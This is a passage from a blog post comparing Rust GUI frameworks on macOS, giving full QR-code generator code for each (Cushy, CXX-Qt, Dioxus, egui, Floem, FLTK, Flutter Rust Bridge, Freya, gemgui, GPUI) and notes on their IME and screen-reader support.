    Ok(buf)
}

#[derive(Default)]
pub struct Counter;

impl App for Counter {
    type Event = Event;
    type Model = Model;
    type ViewModel = ViewModel;
    type Effect = Effect;

    fn update(&self, event: Event, model: &mut Model) -> Command<Effect, Event> {
        match event {
            Event::Update(text) => {
                model.qr = qr_encode(&text).unwrap_or_default();
            }
        }

        render()
    }

    fn view(&self, model: &Model) -> ViewModel {
        ViewModel {
            qr: model.qr.clone(),
        }
    }
}

#[derive(Facet, Serialize, Deserialize, Clone, Debug)]
#[repr(C)]
pub enum Event {
    Update(String),
}

#[derive(Default)]
pub struct Model {
    qr: Vec<u8>,
}

#[derive(Facet, Serialize, Deserialize, Clone, Default)]
pub struct ViewModel {
    pub qr: Vec<u8>,
}

#[effect(facet_typegen)]
#[derive(Debug)]
pub enum Effect {
    Render(RenderOperation),
}

/// The main interface used by the shell
pub struct CoreFfi {
    core: Bridge<Counter>,
}

impl Default for CoreFfi {
    fn default() -> Self {
        Self::new()
    }
}

#[boltffi::export]
impl CoreFfi {
    #[must_use]
    pub fn new() -> Self {
        Self {
            core: Bridge::new(Core::new()),
        }
    }

    #[must_use]
    pub fn update(&self, data: &[u8]) -> Vec<u8> {
        let mut effects = Vec::new();
        match self.core.update(data, &mut effects) {
            Ok(()) => effects,
            Err(e) => panic!("{e}"),
        }
    }

    #[must_use]
    pub fn resolve(&self, id: u32, data: &[u8]) -> Vec<u8> {
        let mut effects = Vec::new();
        match self.core.resolve(EffectId(id), data, &mut effects) {
            Ok(()) => effects,
            Err(e) => panic!("{e}"),
        }
    }

    #[must_use]
    pub fn view(&self) -> Vec<u8> {
        let mut view_model = Vec::new();
        match self.core.view(&mut view_model) {
            Ok(()) => view_model,
            Err(e) => panic!("{e}"),
        }
    }
}

Swift:

import App
import SwiftUI
import ImageIO

struct ContentView: View {
    @ObservedObject var core: Core

    @State private var text: String = ""

    var body: some View {
        VStack(spacing: 16) {
            Text("Enter text to generate QR code:")

            TextField("input", text: $text)
                .textFieldStyle(.roundedBorder)
                .frame(maxWidth: 300)
                .onChange(of: text) { _, newValue in
                    core.update(.update(newValue))
                }

            if let qrImage {
                qrImage
                    .resizable()
                    .interpolation(.none)
                    .scaledToFit()
                    .frame(width: 200, height: 200)
            } else {
                Text("Enter some text to generate a QR code")
                    .foregroundColor(.secondary)
            }
        }
        .padding()
        .frame(maxWidth: .infinity, maxHeight: .infinity)
    }

    private var qrImage: Image? {
        let data = Data(core.view.qr)
        guard !data.isEmpty,
              let source = CGImageSourceCreateWithData(data as CFData, nil),
              let cgImage = CGImageSourceCreateImageAtIndex(source, 0, nil)
        else { return nil }
        return Image(decorative: cgImage, scale: 1)
    }
}

#Preview {
    ContentView(core: Core())
}

Link to this section Cushy

Cushy doesn’t seem to have changed much compared to a year ago. Even the comment in the README that doesn’t match the actual code hasn’t been fixed.

// Create a dynamic usize.
let count = Dynamic::new(0_isize);

The last release is still from 2024, so I’m a bit skeptical about whether retesting Cushy has any value. Still, let’s give it a try; maybe things will be different on macOS compared to Windows.

Cushy’s code is surprisingly concise to write. Maybe I was just intimidated by the complexity of the previous frameworks, but being able to finish the main core logic of the project in just a dozen or so lines made for a very enjoyable development experience. Cushy’s API design is clean and intuitive, especially how a single Dynamic type expresses almost all the reactive features and can easily be converted between data and components.

Even more noteworthy is that Cushy is the first framework in this survey that integrates with the existing Rust ecosystem. It supports directly converting a DynamicImage from the image crate into a Texture , which saves a lot of intermediate conversion code.

As for IME and screen reader support, the situation on macOS is similar to Windows. The intermediate results from the IME composer are not visible, but the final converter works fine 2 2. Check boringcactus’s 2025 survey to learn what composer and converter in an IME are. , while the screen reader cannot recognize the content in the window.

Full Code
use cushy::{
    Run,
    kludgine::{LazyTexture, wgpu::FilterMode},
    value::{Dynamic, Source},
    widget::{MakeWidget, WidgetInstance},
    widgets::{Image, input::InputValue},
};

fn qr_encode(text: &str) -> anyhow::Result<image::DynamicImage> {
    let code = qrcode::QrCode::new(text.as_bytes())?;
    let img = code.render::<image::Luma<u8>>().build();
    Ok(image::DynamicImage::from(img))
}

fn main() -> cushy::Result {
    let text = Dynamic::new("".to_string());
    let qr = text.map_each(|text| {
        let img = qr_encode(text).unwrap_or_default();
        let texture = LazyTexture::from_image(img, FilterMode::Nearest);
        WidgetInstance::new(Image::new(texture))
    });
    let text_input = text.into_input();
    "Enter text to generate QR code:"
        .and(text_input)
        .and(qr)
        .into_rows()
        .into_window()
        .titled("QR Code Generator")
        .run()
}

Link to this section CXX-Qt

Qt is indeed a framework that inspires both love and hate. On the one hand, Qt is almost inextricably tied to a language as intimidating as C++. But on the other hand, Qt’s cross-platform compatibility is quite good. I have more than once built personal macOS versions of open-source software written with Qt.

For myself, I probably wouldn’t choose to use Rust with Qt. But for the purpose of this survey, let’s take a look at this Rust binding for Qt.

When it comes to anything C++-related, environment setup is always the biggest headache. I didn’t want to spend time wrestling with Qt’s environment configuration, so I just installed Qt via Nix. Then I tried running the CXX-Qt example code – oh, compile errors.

Because the error report was a jumble of errors from Rust, C++, and various other places, I decided to stop thinking and hand the problem over to Codex.

What surprised me, though not at all unexpectedly, was that this compile error was a double problem. I won’t go into too much detail here; in short, the qt-build-utils used by CXX-Qt doesn’t support the way Nix packages Qt, and cxx actually had a regression during a patch version change (yet another SemVer joke). After an hour of discussion with the AI, I finally found a workaround to get it running. So let’s give it a try.

Images can only be passed between Rust and Qt via data URLs, which I’m not very fond of. IME and screen reader both work fine 3 3. On macOS, there are actually two screen reader implementations: the more comprehensive VoiceOver, and “Speak items under the pointer.” In CXX-Qt, only VoiceOver works properly; the second feature doesn’t read window content. From here on, “screen reader” refers to VoiceOver by default. .

Full Code

Rust:

use std::pin::Pin;

use base64::Engine as _;
use cxx_qt_lib::{QGuiApplication, QQmlApplicationEngine, QUrl};

fn main() {
    let mut app = QGuiApplication::new();
    let mut engine = QQmlApplicationEngine::new();

    if let Some(engine) = engine.as_mut() {
        engine.load(&QUrl::from("qrc:/qt/qml/cc/wybxc/cxx_qt/demo/qml/main.qml"));
    }

    if let Some(app) = app.as_mut() {
        app.exec();
    }
}

fn qr_encode_data_url(text: &str) -> anyhow::Result<String> {
    let code = qrcode::QrCode::new(text.as_bytes())?;
    let img = code
        .render::<image::Luma<u8>>()
        .min_dimensions(256, 256)
        .build();

    let mut png = Vec::new();
    img.write_to(&mut std::io::Cursor::new(&mut png), image::ImageFormat::Png)?;

    let b64 = base64::engine::general_purpose::STANDARD.encode(&png);
    Ok(format!("data:image/png;base64,{b64}"))
}

#[cxx_qt::bridge]
pub mod qobject {
    unsafe extern "C++" {
        include!("cxx-qt-lib/qstring.h");
        type QString = cxx_qt_lib::QString;
    }

    extern "RustQt" {
        #[qobject]
        #[qml_element]
        #[qproperty(QString, text)]
        #[qproperty(QString, qr_code, cxx_name = "qrCode")]
        #[namespace = "my_object"]
        type MyObject = super::MyObjectRust;

        #[qinvokable]
        #[cxx_name = "generateQRCode"]
        fn generate_qr_code(self: Pin<&mut Self>);
    }
}

#[derive(Default)]
pub struct MyObjectRust {
    text: cxx_qt_lib::QString,
    qr_code: cxx_qt_lib::QString,
}

impl qobject::MyObject {
    pub fn generate_qr_code(self: Pin<&mut Self>) {
        let text = self.text().to_string();
        let url = qr_encode_data_url(&text).unwrap_or_default();
        self.set_qr_code(cxx_qt_lib::QString::from(url.as_str()));
    }
}

QML:

import QtQuick 2.12
import QtQuick.Controls 2.12
import QtQuick.Window 2.12

import cc.wybxc.cxx_qt.demo 1.0

ApplicationWindow {
    id: root
    height: 480
    title: qsTr("QR Code Generator")
    visible: true
    width: 640
    color: palette.window

    readonly property MyObject myObject: MyObject {
        onTextChanged: generateQRCode()
    }

    Column {
        anchors.fill: parent
        anchors.margins: 10
        spacing: 10

        Label {
            text: qsTr("Enter text to generate QR code:")
            color: palette.text
        }

        TextField {
            id: inputField
            placeholderText: qsTr("https://example.com")
            onTextChanged: root.myObject.text = text
        }

        Image {
            id: qrCodeImage
            width: 256
            height: 256
            fillMode: Image.PreserveAspectFit
            source: root.myObject.qrCode
            visible: status === Image.Ready
        }
    }
}

Link to this section Dioxus

Dioxus is basically React in Rust. According to their description, on desktop they use the Wry framework to run a WebView and display the UI inside it, which is essentially what Tauri does.

Recently, Dioxus’s development pace seems to have slowed down. There are reports that the team has shifted its focus to Blitz , a self-developed HTML/CSS rendering engine. The reason for this shift seems to be that AI agents nowadays need something that can render HTML more than they need a UI framework.

But regardless, this can be seen as a step for Dioxus to move away from WebView and toward a more native approach.

Incidentally, the niche of native rendering for Dioxus was originally occupied by Freya 4 4. We’ll see it later. . But now Freya has changed course, breaking away from Dioxus and adopting its own GUI model, so at the moment there isn’t really a native-rendering Dioxus anymore 5 5. As noted in Reddit comments, Dioxus already includes experimental native rendering support (powered by Blitz) in version 0.7, with further improvements expected in the upcoming 0.8 release. .

IME and screen reader both work fine.

Full Code
use base64::Engine;
use dioxus::prelude::*;

fn main() {
    dioxus::launch(App);
}

fn qr_encode_data_url(text: &str) -> anyhow::Result<String> {
    let code = qrcode::QrCode::new(text.as_bytes())?;
    let img = code.render::<image::Luma<u8>>().build();

    let mut png = Vec::new();
    img.write_to(&mut std::io::Cursor::new(&mut png), image::ImageFormat::Png)?;

    let b64 = base64::engine::general_purpose::STANDARD.encode(&png);
    Ok(format!("data:image/png;base64,{b64}"))
}

#[component]
fn App() -> Element {
    let mut text = use_signal(|| "".to_string());
    let qr = use_memo(move || qr_encode_data_url(&text()).unwrap_or_default());

    rsx! {
        document::Title { "QR Code Generator" }
        main {
            style: "display: flex; flex-direction: column",
            p { "Enter text to generate QR code:" }
            input {
                r#type: "text",
                placeholder: "Enter text here",
                value: text,
                oninput: move |evt| text.set(evt.value())
            }
            img {
                src: "{qr}",
                alt: "QR code"
            }
        }
    }
}

Link to this section Dominator

Dominator is a web-oriented framework, and its situation hasn’t changed since 2025; it still doesn’t natively provide desktop support.

Link to this section Egui

Egui is a well-known immediate mode 6 6. If you’re curious about what immediate mode is, check out boringcactus’s 2025 survey . GUI library in Rust. It supports multiple rendering backends, which allows it to be embedded in various game engines. Eframe is egui’s desktop integration. Last year, eframe still used glow as the default rendering backend. In version 0.34 released this year, Eframe’s default rendering backend has switched to egui-wgpu. It seems wgpu is becoming the de facto standard for Rust graphics rendering, and the ecosystem is unifying, which is great to see.

Egui’s default font doesn’t support CJK characters; you need to manually add a CJK-capable font before they can be displayed. IME and the screen reader both work properly. In last year’s article, Boringcactus mentioned that egui’s IME support had some issues, but in my tests everything worked fine. This could be due to platform differences between Windows and macOS, or it could be that egui has genuinely improved its IME support over the past year.

Among GUI frameworks that use wgpu for rendering, egui is the first to offer good accessibility support, which is great.

Full Code
use eframe::egui;
use egui::{FontData, FontDefinitions, FontFamily};

fn main() {
    let native_options = eframe::NativeOptions::default();
    eframe::run_native(
        "QR Code Generator",
        native_options,
        Box::new(|cc| Ok(Box::new(MyEguiApp::new(cc)))),
    )
    .unwrap();
}

struct MyEguiApp {
    text: String,
    qr: egui::TextureHandle,
}

impl MyEguiApp {
    fn new(cc: &eframe::CreationContext<'_>) -> Self {
        let mut db = fontdb::Database::new();
        db.load_system_fonts();
        let font = db
            .query(&fontdb::Query {
                families: &[fontdb::Family::Name("Hiragino Sans GB")],
                ..fontdb::Query::default()
            })
            .and_then(|id| {
                db.with_face_data(id, |data, index| {
                    let mut font = FontData::from_owned(data.to_vec());
                    font.index = index;
                    font
                })
            })
            .unwrap();
        let mut fonts = FontDefinitions::default();
        fonts.font_data.insert("cjk".into(), font.into());
        fonts
            .families
            .get_mut(&FontFamily::Proportional)
            .unwrap()
            .insert(0, "cjk".into());
        cc.egui_ctx.set_fonts(fonts);

        Self {
            text: String::new(),
            qr: cc.egui_ctx.load_texture(
                "qr",
                egui::ColorImage::from_gray([1, 1], &[255]),
                egui::TextureOptions::default(),
            ),
        }
    }
}

impl eframe::App for MyEguiApp {
    fn ui(&mut self, ui: &mut egui::Ui, _frame: &mut eframe::Frame) {
        egui::CentralPanel::default().show(ui, |ui| {
            ui.label("Enter text to generate QR code:");
            let resp = ui.add(egui::TextEdit::singleline(&mut self.text));
            if resp.changed()
                && let Ok(code) = qrcode::QrCode::new(self.text.as_bytes())
            {
                let img = code.render::<image::Luma<u8>>().build();
                let size = [img.width() as usize, img.height() as usize];
                self.qr.set(
                    egui::ColorImage::from_gray(size, img.as_raw()),
                    egui::TextureOptions::default(),
                );
            }
            ui.image((self.qr.id(), self.qr.size_vec2()));
        });
    }
}

Link to this section Floem

Floem is the UI framework used by Lapce, a code editor written in Rust. As a code editor with a similar positioning, Lapce seems to have stagnated in development compared to the thriving Zed. The last commit in its repository was 4 months ago, and its last release was 7 months ago. As for Floem, its UI framework, it hasn’t had a new release in nearly two years.

Floem’s code is also quite concise to write, reminding me of Cushy earlier. Here as well, a single RwSignal type handles almost all reactive operations. In Floem, each component takes a closure that returns its display content. If you often deal with this kind of code in Rust, the moment you see a closure, you might feel a bit uneasy, because Rust’s ergonomics for capturing closures are still not great. Although there has been some discussion in the community, there doesn’t seem to be a stabilizable solution yet. But thank goodness, Floem’s RwSignal type is actually Copy , which means I don’t have to worry about how to copy it into each closure while writing code.

Unfortunately, IME doesn’t work properly – I can’t even switch input methods inside the text box, and the screen reader also can’t recognize the content in the window. Floem is regrettably poor in this regard. If the Lapce team has time to come back and take a look at their UI framework, maybe.

Full Code
use floem::{Application, prelude::*, reactive::SignalRead, window::WindowConfig};

fn qr_encode(text: &str) -> anyhow::Result<Vec<u8>> {
    let code = qrcode::QrCode::new(text.as_bytes())?;
    let img = code.render::<image::Luma<u8>>().build();

    let mut buf = Vec::new();
    img.write_to(&mut std::io::Cursor::new(&mut buf), image::ImageFormat::Png)?;
    Ok(buf)
}

fn app() -> impl IntoView {
    let text = RwSignal::new(String::new());

    v_stack((
        label(|| "Enter text to generate QR code:"),
        text_input(text),
        img(move || qr_encode(&text.read().borrow()).unwrap_or_default()),
    ))
}

fn main() {
    Application::new()
        .window(
            |_| app(),
            Some(WindowConfig::default().title("QR Code Generator")),
        )
        .run();
}

Link to this section FLTK

“Rust bindings for the FLTK 1.4 Graphical User Interface library.”

The name FLTK sounds like something from the same era as Tcl, and you get the feeling that its widgets would be full of that last‑century style.

So I looked up the history of FLTK, and sure enough, it was born in 1998. However, after nearly 30 years of evolution, it is still being updated to this day. The latest version is FLTK 1.4.5.

The Rust bindings for FLTK bundle the upstream source code, so I don’t need to bother with environment setup.

Here I need to defend FLTK’s layout system. Boringcactus said that FLTK has no concept of a widget’s intrinsic size, but actually, as long as you place the widget inside a Flex layout, you can easily set its size; although it’s not something you’d immediately think of. I checked FLTK’s history, and at least by the time Boringcactus wrote that article, FLTK’s Flex was already available.

Like all GUI frameworks from 20 years ago 7 7. It reminds me of my elementary school days, programming with Visual Basic and Delphi on Windows XP. , FLTK uses a callback-based programming model; back then, the concept of reactive didn’t exist yet. One annoyance of using a callback-based model in Rust is the issue of component lifetimes. However, FLTK seems to handle this aspect quite well—at least for writing simple little programs like this, its approach to lifetimes is pretty intuitive.

FLTK offers several default themes, but no matter which one you choose, they all look like they’re straight out of 20 years ago. IME works fine in the text box, and after enabling fltk_accesskit 8 8. Boringcactus once said integrating fltk_accesskit was difficult, but now it only takes two lines of code. They improved this in the 0.2 version released in September 2025. , the screen reader can also recognize the content in the window.

Full Code
use ::image::{ImageFormat, Luma};
use fltk::{prelude::*, *};
use fltk_accesskit::{AccessibleApp, builder};

fn qr_encode(text: &str) -> anyhow::Result<image::PngImage> {
    let code = qrcode::QrCode::new(text.as_bytes())?;
    let img = code.render::<Luma<u8>>().build();

    let mut buf = Vec::new();
    img.write_to(&mut std::io::Cursor::new(&mut buf), ImageFormat::Png)?;
    Ok(image::PngImage::from_data(&buf)?)
}

fn main() {
    let app = app::App::default();
    let mut wind = window::Window::default()
        .with_size(300, 360)
        .with_label("QR Code Generator");
    let mut col = group::Flex::default_fill().column();
    let label = frame::Frame::default().with_label("Enter text to generate QR code:");
    let mut input = input::Input::default();
    let mut img = frame::Frame::default_fill();
    col.end();
    col.fixed(&label, 30);
    col.fixed(&input, 30);
    wind.end();

    input.set_trigger(enums::CallbackTrigger::Changed);
    input.set_callback(move |input| {
        img.set_image_scaled(Some(qr_encode(&input.value()).unwrap()));
        img.redraw();
    });

    wind.show();
    let ac = builder(wind).attach();
    app.run_with_accessibility(ac).unwrap();
}

Link to this section Flutter Rust Bridge

Flutter Rust Bridge is more of an FFI library between Rust and Flutter/Dart than a GUI library. From that perspective, it’s probably a bit more similar to Crux mentioned above.

I’ve tried some development with Flutter before, but perhaps my projects weren’t complex enough to need a Rust backend. I felt that keeping all the logic in Dart was actually sufficient. But since this library shows up on Are We GUI Yet?, let’s give it a try and see what the development experience is like when embedding Rust into Flutter.

Before I start, though, I hope I haven’t deleted the Flutter SDK from my computer. Setting it up from scratch every time is no easy task.

The Flutter Rust Bridge docs list over 6 ways to create a new project. Oh boy.

It seems Flutter now has a generic solution called “Native Assets” for integrating native backends, which, my intuition tells me, would save me the trouble of running code generators. Let’s make things a bit more challenging for ourselves and go with it.

Well, as it turns out, Native Assets didn’t save me from running code generators either. It seems like it just replaces the soon-to-be-deprecated cargokit. But Flutter developers are probably already used to running several code generators in watch mode in the background, so one more shouldn’t be a big deal.

In Flutter Rust Bridge, there are two modes of interaction between Rust and Flutter. The first is to treat Rust as a library of functions: you define functions in Rust, then call them from Flutter. State management is still handled by Flutter. This mode aligns with the general expectation for a native library, where you only offload performance-critical parts to the native library. However, there is another mode where you can define UI state in Rust and completely take over Flutter’s state management logic. In this case, Flutter is used purely as a DSL for defining GUI. That is to say, Flutter’s native state management mechanisms like controller/state become completely unusable; you have to feed all state back to Rust via callbacks, and then Rust handles it. The reason Boringcactus encountered IME issues in hir test was that ze tried to use Flutter’s controller in the second mode, which caused a new controller to be created on every render, leading to state conflicts. The code below shows the second mode.

Since the interface is Flutter, basic IME and screen reader functionality work fine. One interesting thing is that Flutter adds some extra navigation information to the screen reader, such as which keys you can press to move focus to a certain position.

Full Code

Rust:

use flutter_rust_bridge::frb;

#[frb(ui_state)]
pub struct RustState {
    qr_code: Option<Vec<u8>>,
}

impl RustState {
    #[frb(sync)]
    pub fn new() -> Self {
        Self {
            qr_code: None,
            base_state: Default::default(),
        }
    }

    #[frb(ui_mutation)]
    pub fn set_text(&mut self, text: String) {
        self.qr_code = qr_encode(&text).ok();
    }

    #[frb(sync)]
    pub fn get_qr_code(&self) -> Option<Vec<u8>> {
        self.qr_code.clone()
    }
}

pub fn qr_encode(text: &str) -> anyhow::Result<Vec<u8>> {
    let code = qrcode::QrCode::new(text.as_bytes())?;
    let img = code.render::<image::Luma<u8>>().build();

    let mut buf = Vec::new();
    img.write_to(&mut std::io::Cursor::new(&mut buf), image::ImageFormat::Png)?;
    Ok(buf)
}

Flutter:

import 'package:flutter/material.dart';
import 'package:hello_flutter_rust_bridge/src/rust/api/simple.dart';
import 'package:hello_flutter_rust_bridge/src/rust/frb_generated.dart';

void main() => runRustApp(body: body, state: RustState.new);

Widget body(RustState state) {
  final qrCode = state.getQrCode();
  return MaterialApp(
    title: "QR Code Generator",
    home: Scaffold(
      body: Column(
        children: [
          const Text("Enter text to generate QR code:"),
          TextField(onChanged: (value) => state.setText(text: value)),
          if (qrCode != null) Image.memory(qrCode, width: 200, height: 200),
        ],
      ),
    ),
  );
}

Link to this section Freya

Freya was once a framework I had high expectations for. It had the ambitious goal of bringing Dioxus to native desktop rendering. But later, Freya felt that Dioxus was limiting its design, so it pivoted to developing its own GUI interface. Let’s try out the new Freya and see; hoping its developer interface is as easy to use as Dioxus.

Comparing the new Freya with the previous Dioxus example, it’s clear that Freya’s refactoring has simplified the code quite a bit. Dioxus’s model is faithful to the Web DOM, and replicating that model on desktop doesn’t actually bring any extra benefits.

Freya uses Skia as its rendering backend. In theory, I could create an image in Skia and hand it to Freya for rendering. But that’s too much hassle. Freya provides a way to create images directly from RGBA pixels, which is probably a bit better than using data URLs.

IME works properly in Freya, but the screen reader cannot recognize the content.

Full Code
use freya::{elements::image::ImageHandle, engine::prelude::*, prelude::*};

fn main() {
    launch(LaunchConfig::new().with_window(WindowConfig::new(app).with_title("QR Code Generator")))
}

fn qr_encode(text: &str) -> Option<ImageHandle> {
    let code = qrcode::QrCode::new(text.as_bytes()).ok()?;
    let img = code.render::<image::Luma<u8>>().build();
    let img = image::DynamicImage::from(img).into_rgba8();

    Some(
        ImageHandle::from_rgba(
            img.width(),
            img.height(),
            img.into_raw().into(),
            AlphaType::Premul,
        )
        .unwrap(),
    )
}

fn app() -> impl IntoElement {
    let text = use_state(String::new);
    let qr = use_memo(move || qr_encode(&text.read()));

    rect()
        .width(Size::fill())
        .height(Size::fill())
        .padding(Gaps::new_all(12.))
        .children([
            label()
                .text("Enter text to generate QR code:")
                .into_element(),
            Input::new(text).into_element(),
        ])
        .children(
            qr.read()
                .as_ref()
                .map(|qr| image(qr.clone()).into_element()),
        )
}

Link to this section Fui

Fui is an MVVM-style GUI framework. Its API design struck me as a bit novel because it actually requires using async to create windows and run the application.

Combining GUI with async/await is a fascinating idea. But so far, I haven’t seen any framework that really does this well.

Fui’s README doesn’t mention macOS support. I tried it and found that it indeed doesn’t. Alright, let’s move on to the next framework.

Link to this section Gemgui

Gemgui seems a bit mysterious. Its description is just one sentence: “Graphics User Interface library.”

After carefully reading the documentation, I found that gemgui is actually a framework written for Rust to integrate Web UIs. To make it seem comparable to other GUI frameworks, gemgui provides an option to run the Web UI using pywebview. This option requires you to download the pywebview library from PyPI. Using pywebview to pretend to be a native program is something I’ve done myself, but making a Rust program carry a Python runtime feels a bit top-heavy.

Although because it uses Web UI, its GUI score can’t really be compared with other libraries, I’m still curious about what the development experience is like. Would developing a Web UI application with such a library be better than using a general web server like axum or poem?

The GUI development experience with gemgui is really intriguing: it almost brings a whole set of DOM operations into Rust. You can modify the DOM in Rust using equivalent operations, just as you would write DOM code in JS. For a project prototype, this is indeed a very convenient choice. If I can overlook the unexpectedly inefficient implementations in gemgui (such as the way it handles images), I’d say it’s a decent option for using WebUI in Rust.

Full Code

Rust:

use gemgui::graphics::bitmap::Bitmap;
use gemgui::graphics::canvas::Canvas;
use gemgui::graphics::color::rgb;
use gemgui::ui::{Gui, Ui};
use gemgui::{self, GemGuiError};

include!(concat!(env!("OUT_DIR"), "/generated.rs"));

pub fn qr_encode(text: &str) -> anyhow::Result<Bitmap> {
    let code = qrcode::QrCode::new(text.as_bytes())?;
    let img = code.render::<image::Luma<u8>>().build();
    let bitmap = img.iter().map(|&x| rgb(x, x, x)).collect::<Vec<_>>();
    Ok(Bitmap::from_bytes(img.width(), img.height(), bitmap))
}

#[tokio::main]
async fn main() -> Result<(), GemGuiError> {
    let fm = gemgui::filemap_from(RESOURCES);
    let mut ui = Gui::new(fm, "hello.html", gemgui::next_free_port(30000u16)).unwrap();
    // use python ui
    ui.set_python_gui("QR Code Generator", 500, 600, &[], 0, None);
    ui.set_logging(true);

    let input = ui.element("textInput");
    input.subscribe_async("input", async |ui, ev| {
        let value = &ev.element().values().await.unwrap()["value"];
        if let Ok(qr) = qr_encode(value) {
            let canvas = Canvas::new(&ui.element("canvas"));
            canvas.draw_bitmap_at(0, 0, &qr);
        }
    });

    ui.run().await
}

HTML:

<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8" />
    <meta
      http-equiv="Cache-Control"
      content="no-cache, no-store, must-revalidate"
    />
    <meta http-equiv="Pragma" content="no-cache" />
    <meta http-equiv="Expires" content="0" />
    <title>Hello</title>
  </head>
  <body>
    <script type="text/javascript" src="gemgui.js"></script>
    <div style="display: flex; flex-direction: column; gap: 10px;">
      <p>Enter text to generate QR code:</p>
      <input type="text" id="textInput" placeholder="Enter text here" />
      <canvas id="canvas" width="300" height="300"></canvas>
    </div>
  </body>
</html>

Link to this section GPUI

GPUI is the UI framework that powers Zed. Lately, it feels like every so often I see someone on Reddit claiming they built some software’s UI with GPUI. As the name suggests, GPU rendering is its selling point. So what’s the user experience like as a UI framework? Let’s give it a try.

As of 2026, GPUI still doesn’t ship with a built-in text input component. I had to copy its 780-line text input example and build on top of it.

The first unfortunate thing was that the examples I copied from GitHub had clearly undergone API changes, so they wouldn’t compile when used with the version of GPUI from crates.io. Moreover, GPUI’s GitHub repository is located inside Zed’s subtree, and their tags are organized according to Zed’s version numbers, so I couldn’t even figure out which Git commit corresponded to the version they published on crates.io.

The second was that I stared at this 700-line example for quite a while without being able to tell what programming model GPUI actually uses. It seems its other examples only have a static Render , so I couldn’t find any clue as to how they manage state. At this point, it has exceeded the patience limit of a programmer in 2026, so I decided to hand the remaining work over to AI.

While the AI was still hard at work, I casually browsed through GPUI’s examples to see what else was there. They actually have an example named active_state_bug.rs , whose main content demonstrates one of their bugs: .active() background gets stuck on every other click. Should I give them credit for their sense of humor?

Zed is an editor I really like, but it’s hard to imagine that the user experience of GPUI, which powers it, could be this bad. Look at Lapce and Floem over there; although Lapce isn’t as active as Zed nowadays, Floem as a UI framework is orders of magnitude better than GPUI.

IME basically works, but the screen reader cannot access the content in the window. I say “basically” because while testing GPUI, I ran into an issue that none of the other UI frameworks had ever had: after typing a letter in the input method’s composer, deleting it, and then typing again, an out-of-bounds array access occurs and the program panics and exits. Could this be why GPUI hasn’t stabilized its text input as a built-in component because they themselves haven’t fully tested whether text input has bugs?

GPUI also has another example that integrates AccessKit. Perhaps following that example would make the screen reader work properly in GPUI, but I’ve run out of patience to keep dealing with it.

Full Code
use std::ops::Range;
use std::sync::Arc;

use gpui::prelude::*;
use gpui::{
    App, Application, Bounds, ClipboardItem, Context, CursorStyle, ElementId, ElementInputHandler,
    Entity, EntityInputHandler, FocusHandle, Focusable, GlobalElementId, Img, KeyBinding,
    Keystroke, LayoutId, MouseButton, MouseDownEvent, MouseMoveEvent, MouseUpEvent, PaintQuad,
    Pixels, Point, RenderImage, ShapedLine, SharedString, Style, TextRun, UTF16Selection,
    UnderlineStyle, Window, WindowBounds, WindowOptions, actions, div, fill, hsla, img, point, px,
    relative, rgb, rgba, size, white,
};
use image::{Frame, Rgba};
use smallvec::SmallVec;
use unicode_segmentation::*;

fn main() {
    Application::new().run(|cx: &mut App| {
        let bounds = Bounds::centered(None, size(px(300.0), px(300.0)), cx);
        cx.bind_keys([
            KeyBinding::new("backspace", Backspace, None),
            KeyBinding::new("delete", Delete, None),
            KeyBinding::new("left", Left, None),
            KeyBinding::new("right", Right, None),
            KeyBinding::new("shift-left", SelectLeft, None),
            KeyBinding::new("shift-right", SelectRight, None),
            KeyBinding::new("cmd-a", SelectAll, None),
            KeyBinding::new("cmd-v", Paste, None),
            KeyBinding::new("cmd-c", Copy, None),
            KeyBinding::new("cmd-x", Cut, None),
            KeyBinding::new("home", Home, None),
            KeyBinding::new("end", End, None),
            KeyBinding::new("ctrl-cmd-space", ShowCharacterPalette, None),
        ]);

        let window = cx
            .open_window(
                WindowOptions {
                    window_bounds: Some(WindowBounds::Windowed(bounds)),
                    ..Default::default()
                },
                |_, cx| {
                    let text_input = cx.new(|cx| TextInput {
                        focus_handle: cx.focus_handle(),
                        content: "".into(),
                        placeholder: "Type here...".into(),
                        selected_range: 0..0,
                        selection_reversed: false,
                        marked_range: None,
                        last_layout: None,
                        last_bounds: None,
                        is_selecting: false,
                    });
                    cx.new(|cx| {
                        cx.observe(&text_input, |_, _, cx| cx.notify()).detach();
                        InputExample {
                            text_input,
                            recent_keystrokes: vec![],
                            focus_handle: cx.focus_handle(),
                        }
                    })
                },
            )
            .unwrap();
        let view = window.update(cx, |_, _, cx| cx.entity()).unwrap();
        cx.observe_keystrokes(move |ev, _, cx| {
            view.update(cx, |view, cx| {
                view.recent_keystrokes.push(ev.keystroke.clone());
                cx.notify();
            })
        })
        .detach();
        cx.on_keyboard_layout_change({
            move |cx| {
                window.update(cx, |_, _, cx| cx.notify()).ok();
            }
        })
        .detach();

        window
            .update(cx, |view, window, cx| {
                window.focus(&view.text_input.focus_handle(cx));
                cx.activate(true);
            })
            .unwrap();
        cx.on_action(|_: &Quit, cx| cx.quit());
        cx.bind_keys([KeyBinding::new("cmd-q", Quit, None)]);
    });
}

actions!(
    text_input,
    [
        Backspace,
        Delete,
        Left,
        Right,
        SelectLeft,
        SelectRight,
        SelectAll,
        Home,
        End,
        ShowCharacterPalette,
        Paste,
        Cut,
        Copy,
        Quit,
    ]
);

struct TextInput {
    focus_handle: FocusHandle,
    content: SharedString,
    placeholder: SharedString,
    selected_range: Range<usize>,
    selection_reversed: bool,
    marked_range: Option<Range<usize>>,
    last_layout: Option<ShapedLine>,
    last_bounds: Option<Bounds<Pixels>>,
    is_selecting: bool,
}

impl TextInput {
    fn left(&mut self, _: &Left, _: &mut Window, cx: &mut Context<Self>) {
        if self.selected_range.is_empty() {
            self.move_to(self.previous_boundary(self.cursor_offset()), cx);
        } else {
            self.move_to(self.selected_range.start, cx)
        }
    }

    fn right(&mut self, _: &Right, _: &mut Window, cx: &mut Context<Self>) {
        if self.selected_range.is_empty() {
            self.move_to(self.next_boundary(self.selected_range.end), cx);
        } else {
            self.move_to(self.selected_range.end, cx)
        }
    }

    fn select_left(&mut self, _: &SelectLeft, _: &mut Window, cx: &mut Context<Self>) {
        self.select_to(self.previous_boundary(self.cursor_offset()), cx);
    }

    fn select_right(&mut self, _: &SelectRight, _: &mut Window, cx: &mut Context<Self>) {
        self.select_to(self.next_boundary(self.cursor_offset()), cx);
    }

    fn select_all(&mut self, _: &SelectAll, _: &mut Window, cx: &mut Context<Self>) {
        self.move_to(0, cx);
        self.select_to(self.content.len(), cx)
    }

    fn home(&mut self, _: &Home, _: &mut Window, cx: &mut Context<Self>) {
        self.move_to(0, cx);
    }

